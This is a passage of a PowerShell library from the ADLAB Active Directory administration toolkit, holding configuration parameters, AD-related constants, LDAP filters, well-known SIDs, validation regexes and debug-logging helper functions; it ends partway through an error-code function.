ADLAB PowerShell source file: lib-common.ps1

(C) Ondrej Sevecek, 2019 - www.sevecek.com, ondrej@sevecek.com



# ------------------------------------------------------------------
# (C) Ondrej Sevecek, since 2012/03/03 - ondrej@sevecek.com, www.sevecek.com
# 

<#
.SYNOPSIS 

 This is the ADLAB common library with functions that do read/only
 stuff exclusively. The only thing it writes anywhere is that it
 creates the whole path to the -rootDir in case any file output is
 requested.

 (C) Ondrej Sevecek, since 2012/03/03 - ondrej@sevecek.com, www.sevecek.com

.DESCRIPTION

 To call this from an interactive command line as a module, use the -noConfig parameter
 To load any associated XML configuration, use the -defaultConfig, -chooseConfig or -askForConfig parameters
 In case of the XML configuration file, the script loads it from the !userParams.xml which should be found
 in the -rootDir directory

.LINK
  https://www.sevecek.com/files/ADLAB
#>

# [Parameter(Mandatory=$true,Position=1)]
# [Parameter(Mandatory=$true)]
# [Parameter(ParameterSetName="noConfig", Position=0)] 
# [ValidateSet('Ondrej', 'Kamil', 'Jitka')] 
# [ValidateRange(1,100)]
# [ValidateScript({ Test-Path $_ })] 
# [AllowEmptyString()]
# [ValidateNotNullOrEmpty()] 
# [ValidateCount(1,5)]
# [ValidateLength(1,10)]
# [ValidatePattern("[0-9][0-9][0-9][0-9]")]
# [ValidateNotNull()]  # note here that it really does not validate collections correctly the same way as the -eq operator


# Note: the following parameter list MUST be synchronized 1-to-1
#       with the Init-LibCommon() parameters as we just pass them
#       down untouched. This weirdness is here in order for this PS1 file
#       to be made PSM1 module easily. When we want to convert PS1 to PSM1
#       the only things to do is to rename the file :-) and remove this
#       inital param() block. The caller of the PSM1 module will then be
#       responsible for calling Init-LibCommon() manually
[CmdletBinding(DefaultParameterSetName="noConfig")]
param(
  [ValidateSet($true)]
  [Parameter(ParameterSetName="defaultConfig",
             Mandatory=$true)]                                                                                                                                                     [switch]   $defaultConfig,
                                                [ValidateSet($true)]
                                                [Parameter(ParameterSetName="noConfig",
                                                           Mandatory=$false)]                                                                                                      [switch]   $noConfig,  # must NOT set default to $true (PS3)
                                                                                         [ValidateNotNullOrEmpty()]
                                                                                         [Parameter(ParameterSetName="chooseConfig",
                                                                                                    Mandatory=$true)]                                                              [string]   $chooseConfig,
                                                                                                                                      [ValidateSet($true)]
                                                                                                                                      [Parameter(ParameterSetName="askForConfig",
                                                                                                                                                 Mandatory=$true)]                 [switch]   $askForConfig,

  [ValidateNotNullOrEmpty()]
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $rootDir = (Join-Path $env:temp 'Sevecek-ADLAB'),

  [ValidateNotNullOrEmpty()]
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $outFile,

  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgCons,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgFile,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbg,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgInitialize,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [int]      $maxDbgFileSize = -1,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $resetDbgFile,
                                                [Parameter(ParameterSetName="noConfig")]                                                                                           [switch]   $forceDbgFile,

  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $copyConfig,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $stage,
                                                                                         [Parameter(ParameterSetName="chooseConfig")]                                              [switch]   $reuseExpandedConfig,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $mustBeAdministrators,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string[]] $rpOptions,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $grantRunningAttended,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $configFile
)


$global:adlabVersionThisLib = 1005
$global:adlabReleaseDateThisLib = [DateTime]::Parse('2019-07-23')
$global:adlabCodeLinesCount = 52641
[int] $global:adlabVersion = $adlabVersionThisLib
$global:releaseDate = $adlabReleaseDateThisLib

$global:libCommonScriptFileName = $MyInvocation.MyCommand.Definition
$global:libCommonScriptParameters = $PSBoundParameters
$global:libCommonScriptInitialized = $false
 
$global:libCommonDefaultXmlConfig = '!userParams.xml'
$global:libCommonDefaultExpandedXmlConfig = '!userParams-expanded.xml'
$global:adlabOutputFolder = 'Output-v{0}' -f $global:adlabVersion
$global:runJobsSynchronous = $true
$global:outExtension = '.txt'
$global:configFileIncludeExt = '.xmlinc'
$global:dbgFileName = 'debug'
$global:dbgExtension = '.txt'
$global:dbgOut = $true 
$global:dbgScheduleOut = $false
$global:dbgScheduleOutSleep = 10
$global:dbgOutConsole = $true
$global:dbgOutFile = $true
[string] $global:dbgClassMessage = '' 
$global:dbgWaitKey = $false
$global:dbgSearchProgress = 1000
$global:dbgxCounter = 1
[bool] $global:assertOrErrorTriggered = $false
[string] $global:askerAutoDefaultSequence = '>>'
$global:volumeResolutionCustomRoots = @{}
$global:searchPageSize = 5000
$global:multivalueSeparator = '|'
$global:emptyValueMarker = '-'
$global:canonicalizePathReplacement = '-'
$global:invalidNtfsChars = '[<>:"/\\|?*]'
$global:valueFlagSeparator = '$'
$global:valueFlagGroupStart = '('
$global:valueFlagGroupEnd = ')'
$global:valueFlagGroupDivide = ':'
$global:invalidFQDN = "fqdn.invalid.sevecek.com"
$global:pingTimeout = 10000
$global:tcpPortTimeout = 6500
$global:inactivityDays = 35
$global:outItemLimit = 180
$global:adBaseDate = [DateTime]::Parse("1601-01-01").ToLocalTime()
$global:fFLEnum = @{ 0 = '2000' ; 1 ='2003 Interim' ; 2 = '2003' ; 3 = '2008' ; 4 = '2008 R2' ; 5 = '2012' ; 6 = '2012 R2' ; 7 = '2016' }
$global:dFLEnum = @{ 0 = '2000' ; 1 ='2003 Interim' ; 2 = '2003' ; 3 = '2008' ; 4 = '2008 R2'; 5 = '2012' ; 6 = '2012 R2' ; 7 = '2016' }
$global:nTMixedDomainEnum = @{ 0 = 'Native' ; 1 = 'Mixed' } 
$global:domainRoleEnum = @{ 0 = 'Workgroup Workstation' ; 1 = 'Member Workstation' ; 2 = 'Workgroup Server' ; 3 = 'Member Server' ; 4 = 'BDC' ; 5 = 'PDC' }
$global:schemaVersionEnum = @{ 13 = '2000' ; 30 = '2003' ; 31 = '2003 R2' ; 44 = '2008' ; 47 = '2008 R2' }
$global:exchangeSchemaVersionEnum = @{ 4397 = '2000' ; 4406 = '2000 SP3' ; 6870 = '2003' ; 6936 = '2003 SP3' ; 10628 = '2007' ; 11116 = '2007 SP1' ; 14622 = '2007 SP2 / 2010' ; 14625 = '2007 SP3' ; 14726 = '2010 SP1' ; 14732 = '2010 SP2' }
$global:forestUpdatesEnum = @{ 9 = '2003' ; 10 = '2008/2008 R2' }
$global:domainUpdatesEnum = @{ 8 = '2003' ; 9 = '2008/2008 R2' }
$global:pwdPropertiesFlags = @{ 1 = 'Complex' ; 2 = 'No Anonymous Change' ; 4 = 'No Clear Change' ; 8 = 'Lockout Admins' ; 16 = 'Cleartext' ; 32 = 'Refuse Machine Change' }
$global:ntdsOptions = @{ 1 = 'GC' ; 2 = 'Disable Inbound Repl' ; 4 = 'Disable Outbound Repl' ; 8 = 'Disable Connection Xlate' ; 16 = 'Disable SPN Registration' ; 32 = 'Generate Own Topo' }
$global:siteOptions = @{ 1 = 'AutoTopology Disabled' ; 2 = 'Cleanup Disabled' ; 4 = 'Min Hops Disabled' ; 8 = 'Stale Detection Disabled' ; 16 = 'Intersite AutoTopology Disabled' ; 32 = 'Group Caching' ; 64 = 'Whistler KCC' ; 128 = 'W2K KCC' ; 256 = 'Rand BH Disabled' ; 512 = 'Schedule Hashing' ; 1024 = 'Redundant Server Topology' }
$global:linkOptions = @{ 1 = 'Notify' ; 2 = 'Two Way' ; 4 = 'No Compression' }
$global:uacFlags = @{ 2 = 'Disabled' ; 64 = 'Pwd No Change' ; 256 = 'Temp' ; 131072 = 'Mns' ; 8192 = 'DC' ; 67108864 = 'RODC' ; 262144 = 'Smart Card' ; 16777216 = 'Protocol Transition' ; 524288 = 'Unconstrained Delegation' ; 512 = 'Normal' ; 2048 = 'Trust' ; 4096 = 'Member' ; 65536 = 'Pwd No Expire' ; 1048576 = 'No Delegate' }
$global:groupFlags = @{ 0x80000000 = 'Sec' ; 0x2 = 'Global' ; 0x4 = 'Local' ; 0x8 = 'Universal' }
$global:accountType = @{ 0x30000002 = 'Trust' ; 0x30000001 = 'Computer' ; 0x30000000 = 'User' ; 0x20000000 = 'LocalGroup' ; 0x10000000 = 'GlobalUniversalGroup' ; 0x10000001 = 'DistGlobalUniversalGroup' ; 0x20000001 = 'DistLocalGroup' ; 0x40000000 = 'AppGroup' ; 0x40000001 = 'AppQueryGroup' }
$global:trustFlags = @{ 0x00000001 = 'NonTransitive' ; 0x00000002 = '2000+' ; 0x00000004 = 'SIDFiltering' ; 0x00000008 = 'ForestTransitive' ; 0x00000010 = 'CrossOrg' ; 0x00000020 = 'WithinForest' ; 0x00000040 = 'ForestTreatAsExternal' ; 0x00000080 = 'RC4' }
$global:w32TimeAnnounceFlags = @{ 1 = 'AlwaysServer' ; 2 = 'AutoServer' ; 4 = 'AlwaysReliable' ; 8 = 'AutoReliable' }
#[int64] $global:neverTimeVal = -9223372036854775808 this one, or 9223372036854775807, or possibly anything else
[int64] $global:neverTimeVal = ([DateTime]::MaxValue - [DateTime]::Parse('1601-01-01')).Ticks
[int64] $global:noneTimeVal = 0
$global:neverTimeStr = '(never)'
$global:noneTimeStr = '(none)'
$global:ldapFltOU = "(&(objectCategory=organizationalUnit)(objectClass=organizationalUnit))"
$global:ldapFltUser = "(&(objectCategory=person)(objectClass=user)(sAMAccountType=805306368))"
$global:ldapFltComputer = "(&(objectCategory=computer)(objectClass=computer)(sAMACcountType=805306369))"
$global:ldapFltDCorRODC = "(&($global:ldapFltComputer)(|(userAccountControl:1.2.840.113556.1.4.803:=8192)(userAccountControl:1.2.840.113556.1.4.803:=67108864)))"
$global:ldapFltDCnonRODC = "(&($global:ldapFltComputer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
$global:ldapFltComputerNonDC = "(&($global:ldapFltComputer)(userAccountControl:1.2.840.113556.1.4.803:=4096))"
$global:ldapFltContact = "(&(objectCategory=person)(objectClass=contact))"
$global:ldapFltService = "(&(objectCategory=msDS-ManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount)(sAMAccountType=805306368))"
$global:ldapFltTrust = "(&(objectCategory=person)(objectClass=user)(sAMAccountType=805306370))"
$global:ldapFltTDO = "(objectCategory=trustedDomain)(objectClass=trustedDomain))"
$global:ldapFltGroup = "(&(objectCategory=group)(objectClass=group))"
$global:ldapFltSecGroupDL = "(&($ldapFltGroup)(sAMAccountType=536870912))"
$global:ldapFltSecGroupGU = "(&($ldapFltGroup)(sAMAccountType=268435456))"
$global:ldapFltSecGroup = "(|($ldapFltSecGroupGU)($ldapFltSecGroupDL))"
$global:ldapFltDistGroupDL = "(&($ldapFltGroup)(sAMAccountType=536870912))"
$global:ldapFltDistGroupGU = "(&($ldapFltGroup)(sAMAccountType=268435457))"
$global:ldapFltDistGroup = "(|($ldapFltDistGroupGU)($ldapFltDistGroupGU))"
$global:ldapFltOrgPerson = "(&(objectCategory=person)(objectClass=inetOrgPerson)(sAMAccountType=805306368))"
$global:ldapFltUCS = "(|($ldapFltUser)($ldapFltComputer)($ldapFltService)($ldapFltOrgPerson))"
$global:regHKLM = 2147483650
$global:regHKU = 2147483651
$global:regHKCU = 2147483649
#$global:wmiFltValidNIC = 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = "true" AND DNSHostName <> "" AND MacAddress <> NULL AND MacAddress <> "00:00:00:00:00:00" AND ServiceName <> "VMSMP"'
# VMSMP is indication of Hyper-V wrapped NIC on host only, in VMs, the service is something else (netsvc)
# MAC address is empty on disabled NICs
#$global:wmiFltValidNIC = 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = "true" AND DNSHostName <> NULL AND DNSHostName <> "" AND MacAddress <> NULL AND MacAddress <> "00:00:00:00:00:00"'
$global:wmiFltValidNIC = 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE MacAddress <> NULL AND MacAddress <> "00:00:00:00:00:00"'
$global:hypervErrorCodes = @{ 0 = 'Success' ; 4096 = 'Job started' ; 32768 = 'Failed' ; 32769 = 'Access denied' ; 32770 = 'Not supported' ; 32771 = 'Status unknown' ; 32772 = 'Timeout' ; 32773 = 'Invalid parameter' ; 32774 = 'System is in use' ; 32775 = 'Invalid state for this operation' ; 32776 = 'Incorrect data type' ; 32777 = 'System not available' ; 32778 = 'Out of memory' }
$global:hypervJobStates = @{  2 = 'New' ; 3 = 'Starting' ; 4 = 'Running' ; 5 = 'Suspended' ; 6 = 'Shutting down' ; 7 = 'Completed' ; 8 = 'Terminated' ; 9 = 'Killed' ; 10 = 'Exception' ; 11 = 'Service' }
$global:hypervVMStates = @{ 0 = 'Unknown' ; 2 = 'Running' ; 3 = 'Turned Off' ; 32768 = 'Paused' ; 32769 = 'Saved' ; 32770 = 'Starting' ; 32771 = 'Taking snapshot' ; 32773 = 'Saving' ; 32774 = 'Stopping' ; 32776 = 'Pausing' ; 32777 = 'Resuming' }
$global:rxDns = '(?:[a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+'
$global:rxPort = '(?::(\d+)|())'
$global:rxFqdn = "($global:rxDns)$global:rxPort"
$global:rxURL = "\A(?:(?:([a-zA-Z0-9]+)://)|)($global:rxFqdn)((?:/.*)|)\Z"
$global:rxHttpURL = "\A((?:http)|(?:https))://$global:rxFqdn((?:/.*)|)\Z"
$global:rxByte = '0\d\d|1\d\d|20\d|21\d|22\d|23\d|24\d|25[0-5]|\d\d|\d'  # must start with 3x\d in order to match in hungry style
$global:rxHexWord = '[a-fA-F0-9]{1,4}'
$global:rxIPv4 = "\A(?:(?:$global:rxByte)\.){3}(?:$global:rxByte)\Z"
$global:rxIPv4OneMask = '255|254|252|248|240|224|192|128|0'
$global:rxIPv4Mask = "(?:(?:$global:rxIPv4OneMask)\.){3}(?:$global:rxIPv4OneMask)"
$global:rxGUID = '[\dA-Fa-f]{8}(?:-[\dA-Fa-f]{4}){3}-[\dA-Fa-f]{12}'
$global:rxGUIDAnyFormat = '(?:\{|)[\dA-Fa-f]{8}(?:(?:-|)[\dA-Fa-f]{4}){3}(?:-|)[\dA-Fa-f]{12}(?:\}|)'
$global:rxSID = '[Ss]-1(?:-\d+){1,}'
$global:rxMacAddressDotted = '\A([0-9a-f]{2}\:){5}[0-9a-f]{2}\Z'
$global:rxMacAddress = '\A[0-9a-f]{12}\Z'
$global:rxHHMMSS = '\d\d\:[0-5]\d:[0-5]\d'
$global:rxDnElement = '(?: |)((?:\\=|[^= ,])+)=((?:(?:\\,)|[^,])+)'
$global:likeGUID = '????????-????-????-????-????????????'
$global:rxHtmlTag = '<.*?>'
$global:rxHtmlAttribute = '([a-zA-Z_:][-a-zA-Z0-9_:.]*)\s*=(?:(?:\s*\"(.*?)\")|(?:\s*\''(.*?)\''))'
$global:rxHtmlPairTagTemplate = "<{0}(?:(?:\s*)|(?:\s(?:\s*$global:rxHtmlAttribute)+\s*))>(.*?)<\/{0}\s*>"
# Note: all AD domain DNs end with DC=... by definition of translating DNS FQDN to DN
#       my own more strict limitation for domain names and the single-label domain names
$global:rxADDN = '\A(?:|.+,)(?:[dD][cC]=[a-zA-Z0-9-]+)(?:,[dD][cC]=[a-zA-Z0-9-]+){1,}\Z'
# Note: according to these: https://support.microsoft.com/kb/188997 and https://support.microsoft.com/en-us/kb/909264
#       the NetBIOS name can contain the following special characters and any accented characters: !@#$%^&()-_'{}.~
#       while NetBIOS names cannot be all dots and cannot be all spaces
#       although it may be possible to use them, I would usually like to know about most of the weird
#       characters being used in the NetBIOS name of a computer
#       Note that user sAMAccountName can be up to 20 characters
#       while sAMAccountName on group accounts can be up to 256 characters
# Note: my own more strict limitation on NetBIOS domain names
#       the 256 characters limit applies to groups, while user accounts can have up to 20 characters only
$global:rxSamLogin = '(?:(?:[a-zA-Z0-9-][a-zA-Z0-9-.]{1,14})|(?:NT AUTHORITY)|(?:NT SERVICE)|(?:IIS APPPOOL)|(?:NT VIRTUAL MACHINE))\\[^\\\/\"\[\]\:\|\<\>\+\=\;\,\?\*\@]{1,255}'
# Note: UPN (user principal name = userPrincipalName) can contain virtually anything from AD perspective
#       while logon dialog boxes usually prevent some characters. We leave it to the system to reject
#       what it does not like. The only limitation imposed by me is for the domain names and that
#       we do not accept single-lable domain names
$global:rxUPN = '\A.+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+){1,}\Z'
$global:xmlSymbolEntitiesSimplified = @{ 'quot' = '"' ; 'amp' = '&' ; 'lt' = '<' ; 'gt' = '>' ; 'nbsp' = ' ' ; 'le' = '<=' ; 'ge' = '>=' ; 'minus' = '-' ; 'divide' = '/' ; 'times' = '*' ; 'lowast' = '*' ; 'circ' = '^' ; 'tilde' = '~' ; 'ensp' = ' ' ; 'emsp' = ' ' ; 'thinsp' = ' ' ; 'ndash' = '-' ; 'mdash' = '-' ; 'lsquo' = '''' ; 'rsquo' = '''' ; 'sbquo' = '''' ; 'acute' = ''''; 'ldquo' = '"' ; 'rdquo' = '"' ; 'bdquo' = '"' ; 'hellip' = '...' ; 'prime' = '''' ; 'laquo' = '<<' ; 'raquo' = '>>' ; 'lsaquo' = '<' ; 'rsaquo' = '>' ; 'trade' = '(tm)' ; 'copy' = '(C)' ; 'reg' = '(R)' ; 'euro' = 'EUR' ; 'sect' = '?' ; 'larr' = '<<-' ; 'rarr' = '->>' ; 'larrtl' = '<-<' ; 'rarrtl' = '>->' }
$global:datadiskMarker = '!sevecek-datadisk-{0}.txt'
$global:datadiskExclusionMarker = '!sevecek-no-datadisk.txt'
[System.Collections.ArrayList] $global:EaBackup = @()
$global:assertColor = 'blue'
$global:errorColor = 'red'
$global:infoColor = 'cyan'
$global:win32_ERROR_SUCCESS_REBOOT_REQUIRED = 3010
$global:dirAllFileTypes = 'Archive,Compressed,Device,Directory,Encrypted,Hidden,Normal,NotContentIndexed,Offline,ReadOnly,ReparsePoint,SparseFile,System,Temporary' # Note: v3 does not search for Hidden files

$global:wellKnownSIDs = @{ 

 # other
  'Everyone' = 'S-1-1-0'

 # NT AUTHORITY
  'Dialup' = 'S-1-5-1'
  'Network' = 'S-1-5-2'
  'Batch' = 'S-1-5-3'
  'Interactive' = 'S-1-5-4'
  'Service' = 'S-1-5-6'
  'Terminal Server User' = 'S-1-5-13'
  'Remote Interactive Logon' = 'S-1-5-14'
  'Enterprise Domain Controllers' = 'S-1-5-9'
  'SELF' = 'S-1-5-10'
  'Authenticated Users' = 'S-1-5-11'
  'Anonymous Logon' = 'S-1-5-7'
  'Proxy' = 'S-1-5-8'
  'Restricted' = 'S-1-5-12'
  'This Organization' = 'S-1-5-15'
  'IUSR' = 'S-1-5-17'
  'System' = 'S-1-5-18'
  'Local Service' = 'S-1-5-19'
  'Network Service' = 'S-1-5-20'
  'Enterprise Read-Only Domain Controllers Beta' = 'S-1-5-22'
  'Write Restricted' = 'S-1-5-33'
  'Local account' = 'S-1-5-113'
  'Local account and member of Administrators group' = 'S-1-5-114'
  'Other Organization' = 'S-1-5-1000'
  'Cloud Account Authentication' = 'S-1-5-64-36'

 # BUILTIN
  'Administrators' = 'S-1-5-32-544'
  'Backup Operators' = 'S-1-5-32-551'
  'Server Operators' = 'S-1-5-32-549'
  'Account Operators' = 'S-1-5-32-548'
  'Power Users' = 'S-1-5-32-547'
  'Users' = 'S-1-5-32-545'
  'Guests' = 'S-1-5-32-546'
  'Replicator' = 'S-1-5-32-552'
  'Remote Desktop Users' = 'S-1-5-32-555'
  'Network Configuration Operators' = 'S-1-5-32-556'
  'Performance Monitor Users' = 'S-1-5-32-558'
  'Performance Log Users' = 'S-1-5-32-559'
  'Distributed COM Users' = 'S-1-5-32-562'
  'IIS_IUSRS' = 'S-1-5-32-568'
  'Cryptographic Operators' = 'S-1-5-32-569'
  'Event Log Readers' = 'S-1-5-32-573'
  'Hyper-V Administrators' = 'S-1-5-32-578'
  'Access Control Assistance Operators' = 'S-1-5-32-579'
  'Remote Management Users' = 'S-1-5-32-580'
  'Print Operators' = 'S-1-5-32-550'
  'Pre-Windows 2000 Compatible Access' = 'S-1-5-32-554'
  'Incoming Forest Trust Builders' = 'S-1-5-32-557'
  'Windows Authorization Access Group' = 'S-1-5-32-560'
  'Terminal Server License Servers' = 'S-1-5-32-561'
  'Certificate Service DCOM Access' = 'S-1-5-32-574'
  'RDS Remote Access Servers' = 'S-1-5-32-575'
  'RDS Endpoint Servers' = 'S-1-5-32-576'
  'RDS Management Servers' = 'S-1-5-32-577'

 # domain
  'Domain Admins' = '-512'
  'Enterprise Admins' = '-519'
  'Schema Admins' = '-518'
  'Enterprise Read-only Domain Controllers' = '-498'
  'Administrator' = '-500'
  'Guest' = '-501'
  'krbtgt' = '-502'
  'Domain Users' = '-513'
  'Domain Guests' = '-514'
  'Domain Computers' = '-515'
  'Domain Controllers' = '-516'
  'Cert Publishers' = '-517'
  'Group Policy Creator Owners' = '-520'
  'Read-only Domain Controllers' = '-521'
  'Cloneable Domain Controllers' = '-522'
  'Protected Users' = '-525'
  'Key Admins' = '-526'
  'Enterprise Key Admins' = '-527'
  'RAS and IAS Servers' = '-553'
  'Allowed RODC Password Replication Group' = '-571'
  'Denied RODC Password Replication Group' = '-572'

  }

[hashtable] $global:adSchemaVersions = @{

  13 = '2000'
  30 = '2003'
  31 = '2003r2'
  44 = '2008'
  47 = '2008r2'
  56 = '2012'
  69 = '2012r2'
  87 = '2016v1607'
  88 = '2016v1803'

  }




function global:DBGSTART ()
{
<#  Try/Catch/Finally template
    Never raise from the block!

  { DBGSTART; DBGEND; try { $global:ErrorActionPreference = 'Stop'

  }

  catch [System.Exception] { DBGER $MyInvocation.MyCommand.Name $error
  
  }

  finally { $global:ErrorActionPreference = 'Continue'
  
  } DBGSTART; DBGEND }

#>

  DBGER ('DBGSTART found some outstanding errors') $error
  
  try {

    [void] $global:EaBackup.Add($global:ErrorActionPreference)
    $global:ErrorActionPreference = 'SilentlyContinue'

    if ('Sevecek.Win32Api.Kernel32' -as [type]) {

      [Sevecek.Win32Api.Kernel32]::SetLastError([Sevecek.Win32Api.WinError]::ERROR_SUCCESS)
    }

  } catch {

    DBGER 'DBGSTART generated some errors itself' $error
  }
}

function global:DBGEND ()
{
  if ($global:EaBackup.Count -lt 1) {
    
    DBG ('Error: DBGEND - EaBackup is corrupted: nothing to pup up') $global:errorColor

    $error.Clear()
    $global:ErrorActionPreference = 'Continue'
  
  } else {
  
    if ($global:ErrorActionPreference -ne 'SilentlyContinue') {
    
      DBG ('Assert: DBGEND - EaBackup is corrupted: {0}' -f $global:ErrorActionPreference) $global:assertColor
    }

    if ($global:EaBackup.Count -gt 80) {
    
      DBG ('Assert: DBGEND - EaBackup may be corrupted. Very deep recursion: {0}' -f $global:EaBackup.Count) $global:assertColor
    }

    $error.Clear()

    $global:ErrorActionPreference = $global:EaBackup[$global:EaBackup.Count - 1]
    $global:EaBackup.RemoveAt(($global:EaBackup.Count - 1))
  }
}


function global:GETDBGFILENAME ()
{
  return [System.IO.Path]::ChangeExtension([System.IO.Path]::GetFullPath([System.IO.Path]::Combine($global:outPath, $global:dbgFileName + '\' + $global:outFile + '-' + $global:dbgFileName)), $global:dbgExtension)
}


function global:PREPAREDBGFILE ([bool] $initialising = $false, [switch] $reset)
{
  [string] $dbgFile = ''

  if ($dbgOut) {

    if ($global:dbgOutFile) {

      [string] $dbgFile = GETDBGFILENAME
      
    
    #} else {
    #
    #  $dbgFile = [System.IO.Path]::ChangeExtension([System.IO.Path]::GetFullPath([System.IO.Path]::Combine($global:outPath, $dbgFileName + '\' + $global:outFile + $jobInternalID + '-' + $dbgFileName)), $dbgExtension)
    #}

      if ($reset -and ([System.IO.File]::Exists($dbgFile))) {

        Remove-Item -LiteralPath $dbgFile
      }

      [System.IO.FileInfo] $dbgFileInfo = $null
      if ([System.IO.File]::Exists($dbgFile)) {

        $dbgFileInfo = New-Object System.IO.FileInfo $dbgFile
      }


      if (($global:rootDir -eq '') -or (-not (Test-Path $global:rootDir)) -or ($dbgFile -notlike "$global:rootDir\*") -or ($dbgFileInfo.Attributes -band [IO.FileAttributes]::System)) {

        $dbgFile = ''
        Write-Host 'Error in DBG output file' -ForegroundColor $global:errorColor

      } elseif (
           (-not ([System.IO.File]::Exists($dbgFile))) -or 
           (($global:maxDbgFileSize -gt 0) -and (([int] $dbgFileInfo.Length) -gt $global:maxDbgFileSize)) -or
           (($initialising) -and ($global:maxDbgFileSize -eq 0))
               ) {
 
        [void] (New-Item $dbgFile -ItemType File -Force)
      }
    }
  }

  return $dbgFile
}


function global:DBGX ([string] $message, [System.ConsoleColor] $color = [System.ConsoleColor]::Magenta)
{
  # Note: just the same method but use for temporary troubleshooting output
  #       which should be removed afterwards
  DBG "#$global:dbgxCounter# $message" $color
  $global:dbgxCounter ++
}


function global:DBGXW ([string] $message, [System.ConsoleColor] $color = [System.ConsoleColor]::Magenta)
{
  DBGX -message $message -color $color
  Read-Host ('Press ENTER to continue') | Out-Null
}


function global:DBG ([string] $message, [System.ConsoleColor] $color)
{
  if ($global:dbgOut)
  {
    # This is DBG command that should not use any other script functions to prevent infinite loops
    
    #if ($runJobsSynchronous) -or (Is-EmptyString $jobInternalID)) {
    
    $dbgFile = PREPAREDBGFILE

    #if (($dbgFile -ne '') -and ($global:dbgOutFile) -and (-not ([System.IO.File]::Exists($dbgFile)))) { 
    #
    #  [void] (New-Item $dbgFile -ItemType File -Force)
    #}

    $outMsg = "{0:s} : {1}{2} : {3} " -f (Get-Date), $global:outFile, $global:dbgClassMessage, $message
    
    if (($dbgFile -ne '') -and ($global:dbgOutFile)) {

      $outMsg | Out-File -FilePath $dbgFile -Append -Force -Encoding utf8
    }
    
    if (<#($runJobsSynchronous -or (Is-EmptyString $jobInternalID)) -and #>$global:dbgOutConsole) { 
    
      if (Is-NonNull $color) {

        Write-Host $outMsg -ForegroundColor $color
        
      } else {
      
        Write-Host $outMsg
      }
    }

    if ($global:dbgScheduleOut) {

      Start-Sleep -Milliseconds $global:dbgScheduleOutSleep
    }
  }
}

function global:DBGIF ([string] $message, [ScriptBlock] $condition, [switch] $silent)
{
  if ($global:dbgOut) {

    $DBGIFinternalRES = $false

    #DBGSTART
    #$DBGIFinternalRES = & $condition
    #DBGER $MyInvocation.MyCommand.Name $error
    #DBGEND

    $local:errorActionInternalBackup = $global:errorActionPreference
    try { $global:errorActionPreference = 'Stop'

      $DBGIFinternalRES = & $condition
    }

    catch [System.Exception] {

      DBGER $MyInvocation.MyCommand.Name $error
    }

    finally { $global:errorActionPreference = $local:errorActionInternalBackup

    }

    
    if ($DBGIFinternalRES) { 
    
      if (-not $silent) {

        $global:assertOrErrorTriggered = $true
      }

      DBG "Assert: $message (condition: $condition)" $global:assertColor

      # Note: just due to have a sorted output in a correct order
      Start-Sleep -Seconds 1
    
    } elseif ($global:dbgScheduleOut) {

      Start-Sleep -Milliseconds $global:dbgScheduleOutSleep
    }
  }
}

function global:DBGIFOK ([ScriptBlock] $condition, [string] $message)
{
  if ($global:dbgOut) {

    $DBGIFinternalRES = $false

    #DBGSTART
    #$DBGIFinternalRES = & $condition
    #DBGER $MyInvocation.MyCommand.Name $error
    #DBGEND

    $local:errorActionInternalBackup = $ErrorActionPreference
    try { $global:errorActionPreference = 'Stop'

      $DBGIFinternalRES = & $condition
    }

    catch [System.Exception] {

      DBGER $MyInvocation.MyCommand.Name $error
    }

    finally { $global:errorActionPreference = $local:errorActionInternalBackup

    }

    
    if ($DBGIFinternalRES) { 
    
      DBG "$message" $global:infoColor
    
    } elseif ($global:dbgScheduleOut) {

      Start-Sleep -Milliseconds $global:dbgScheduleOutSleep
    }
  }
}


function global:Get-ExceptionErrorCode ([object] $exp)
{
  [int] $oneErrorCode = 0

  if ($exp -is [System.Management.Automation.ErrorRecord]) {

    $exp = $exp.Exception
  }

  if (([int] $exp.HResult) -ne 0) {
         
    $oneErrorCode = $exp.HResult

